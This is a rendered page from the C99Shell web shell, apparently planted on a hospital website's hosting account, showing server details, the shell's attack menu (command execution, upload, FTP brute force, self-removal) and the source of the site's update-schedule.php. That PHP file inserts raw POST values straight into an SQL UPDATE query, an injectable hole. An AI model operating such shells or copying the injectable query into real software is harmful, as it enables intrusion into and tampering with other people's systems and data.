!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/admin/   drwxr-xr-x
Free 984.22 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update-schedule.php (988 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('conn.php');
require_once 
"auth.php";

// Check if the form is submitted
if (isset($_POST['update'])) {
    
$scheduleId $_POST['id'];
    
$d_name $_POST['d_name'];
    
$start_date $_POST['start_date'];
    
$end_date $_POST['end_date'];
    
$start_date_fa $_POST['date_start_fa'];
    
$end_date_fa $_POST['end_date_fa'];
    
$status $_POST['status'];

    
// Update the schedule in the database based on the ID
    
$query "UPDATE schedule SET d_name='$d_name', date_start='$start_date', date_end='$end_date', date_start_fa='$start_date_fa', date_end_fa='$end_date_fa', status='$status' WHERE id=$scheduleId";
    
$result mysqli_query($con$query);

    if (
$result) {
        echo 
"<script>alert('Schedule updated successfully');</script>";
           echo 
'<script>window.location.href = "add-schedule.php";</script>';
        exit();
    } else {
        echo 
"<script>alert('Failed to update schedule');</script>";
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0977 ]--